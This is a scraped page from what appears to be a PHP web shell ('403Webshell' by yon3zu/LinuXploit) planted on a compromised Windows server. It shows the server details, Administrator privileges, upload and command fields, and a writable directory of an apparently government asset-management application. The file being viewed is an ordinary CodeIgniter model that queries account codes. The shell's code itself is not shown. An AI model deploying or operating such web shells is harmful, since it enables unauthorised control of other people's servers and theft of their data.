403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/simbada/application/modules/pilih/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/simbada/application/modules/pilih/models/pilih_rekening_model.php
<?php
class Pilih_rekening_model extends Pilih_Model {

  function __construct()
  {
    parent::__construct();
  }
	
  function getRekening($param, $isCount=FALSE)
  {
    $fieldmap = array(
      'id' => 'r.ID_REKENING',
      'kdrek' => 'r.KODE_REKENING',
      'nmrek' => 'r.NAMA_REKENING',
    );

    // proses paging jika page > 0
    if ($param['npage'] > 0)
    {
      isset($param['limit']) && $param['limit'] ? $this->db->limit($param['limit']['end'], $param['limit']['start']) : '';
    }

    $swhere = $this->checkSearch($param['q'], $fieldmap);
    if ($swhere) {
      $swhere = build_or_where($swhere);
      $this->db->where($swhere);
    }

    /*
      mode : master_barang
      keterangan : -
    */
    if ($param['mode'] === 'master_barang'){
      $this->db->select('
        r.ID_REKENING,
				r.ID_PARENT_REKENING,
				r.KODE_REKENING,
				r.NAMA_REKENING,
				r.LEVEL_REKENING,
				0 AS SALDO_NORMAL,
				0 AS CHILD_COUNT
      ');
      $this->db->distinct();
      $this->db->from('REKENING r');
      $this->db->where("r.LEVEL_REKENING >= 5");
    }
    
    /*
      mode : -
      keterangan : semua rekening
      dipakai di ...
    */
    else {
      $this->db->select('
        r.ID_REKENING,
				r.ID_PARENT_REKENING,
				r.KODE_REKENING,
				r.NAMA_REKENING,
				r.LEVEL_REKENING,
				0 AS SALDO_NORMAL,
				0 AS CHILD_COUNT
      ');
      $this->db->from("REKENING r");
    }

    if ($isCount) {
      $result = $this->db->count_all_results();
      return $result;
    }
    else
    {
      // proses sort
      ($param['sort_by'] != null) ? $this->db->order_by( $fieldmap[$param['sort_by']], $param['sort_direction']) :'';
      $result = $this->db->get()->result_array();
      return $result;
    }
  }

}

Youez - 2016 - github.com/yon3zu
LinuXploit